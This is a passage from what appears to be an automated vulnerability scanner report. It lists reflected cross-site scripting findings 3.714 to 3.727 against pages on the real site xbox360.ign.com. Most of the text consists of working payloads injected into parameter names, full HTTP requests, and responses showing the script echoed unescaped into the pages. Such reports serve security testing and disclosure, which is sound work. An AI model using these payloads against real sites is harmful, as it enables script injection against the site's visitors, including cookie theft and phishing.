<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1148025p1.html?e70fc"-alert(1)-"398df2dea08=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.714. http://xbox360.ign.com/articles/114/1148025p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148025p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4f1a"><script>alert(1)</script>8138bbda018 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148025p1.html?d4f1a"><script>alert(1)</script>8138bbda018=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-959058793-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045056798v-1n-12mc+1297045056798mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133235

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1148025p1.html?d4f1a"><script>alert(1)</script>8138bbda018=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.715. http://xbox360.ign.com/articles/114/1148045c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148045c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14a28"-alert(1)-"28f65408dca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148045c.html?14a28"-alert(1)-"28f65408dca=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1789514112-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045040325v-1n-12mc+1297045040325mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 81038

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1148045c.html?14a28"-alert(1)-"28f65408dca=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.716. http://xbox360.ign.com/articles/114/1148045c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148045c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 675ba"><script>alert(1)</script>51da5a8ab8a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148045c.html?675ba"><script>alert(1)</script>51da5a8ab8a=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-57838699-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:17 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045037739v-1n-12mc+1297045037739mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 83104

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1148045c.html?675ba"><script>alert(1)</script>51da5a8ab8a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.717. http://xbox360.ign.com/articles/114/1148045p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148045p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4e1a"><script>alert(1)</script>5e0e1162c6c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148045p1.html?e4e1a"><script>alert(1)</script>5e0e1162c6c=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-1288001840-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:17 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045037729v-1n-12mc+1297045037729mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 92535

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1148045p1.html?e4e1a"><script>alert(1)</script>5e0e1162c6c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.718. http://xbox360.ign.com/articles/114/1148045p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148045p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12786"-alert(1)-"c0fa19034d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148045p1.html?12786"-alert(1)-"c0fa19034d2=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-1089532924-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045040079v-1n-12mc+1297045040079mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 92519

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1148045p1.html?12786"-alert(1)-"c0fa19034d2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.719. http://xbox360.ign.com/articles/114/1148058c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148058c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 347c5"-alert(1)-"074af3f6484 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148058c.html?347c5"-alert(1)-"074af3f6484=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-1293237248-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:13 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045033590v-1n-12mc+1297045033590mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 81165

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1148058c.html?347c5"-alert(1)-"074af3f6484=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.720. http://xbox360.ign.com/articles/114/1148058c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148058c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48996"><script>alert(1)</script>b264847a65d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148058c.html?48996"><script>alert(1)</script>b264847a65d=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-724073483-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045030583v-1n-12mc+1297045030583mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 81070

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1148058c.html?48996"><script>alert(1)</script>b264847a65d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.721. http://xbox360.ign.com/articles/114/1148058p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148058p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce2f0"><script>alert(1)</script>7431eff7b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1148058p1.html?ce2f0"><script>alert(1)</script>7431eff7b6=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-1996847743-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:06 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045026796v-1n-12mc+1297045026796mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 92394

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/articles/114/1148058p1.html?ce2f0"><script>alert(1)</script>7431eff7b6=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.722. http://xbox360.ign.com/articles/114/1148058p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/articles/114/1148058p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73ca3"-alert(1)-"2cd80ce74cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1148058p1.html?73ca3"-alert(1)-"2cd80ce74cf=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-544540375-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:08 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045029035v-1n-12mc+1297045029035mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 92351

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
reGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/articles/114/1148058p1.html?73ca3"-alert(1)-"2cd80ce74cf=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.723. http://xbox360.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41e1d"><script>alert(1)</script>1cc71dad1d4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?41e1d"><script>alert(1)</script>1cc71dad1d4=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-1813046606-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044987191v-1n-12mc+1297044987191mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 146405

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Xbox 360 Reviews,
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/features.html?41e1d"><script>alert(1)</script>1cc71dad1d4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.724. http://xbox360.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b188"-alert(1)-"ae3aa30aef4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?5b188"-alert(1)-"ae3aa30aef4=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-1580520864-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044991966v-1n-12mc+1297044991966mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 146344

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Xbox 360 Reviews,
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/features.html?5b188"-alert(1)-"ae3aa30aef4=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.725. http://xbox360.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b068"-alert(1)-"cc0fe872cb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/games.html?6b068"-alert(1)-"cc0fe872cb2=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-1466203038-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044996993v-1n-12mc+1297044996993mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 176417

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>All Xbox 360 Games
...[SNIP]...
eof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/games.html?6b068"-alert(1)-"cc0fe872cb2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.726. http://xbox360.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a512"><script>alert(1)</script>ec6e0903c93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/games.html?4a512"><script>alert(1)</script>ec6e0903c93=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:34 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-238038819-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:33 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044993891v-1n-12mc+1297044993891mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 176259

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All Xbox 360 Games
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/games.html?4a512"><script>alert(1)</script>ec6e0903c93=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.727. http://xbox360.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 471cd"><script>alert(1)</script>6e79fbc037a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/images.html?471cd"><script>alert(1)</script>6e79fbc037a=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-912412229-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044990994v-1n-12mc+1297044990994mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120276

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
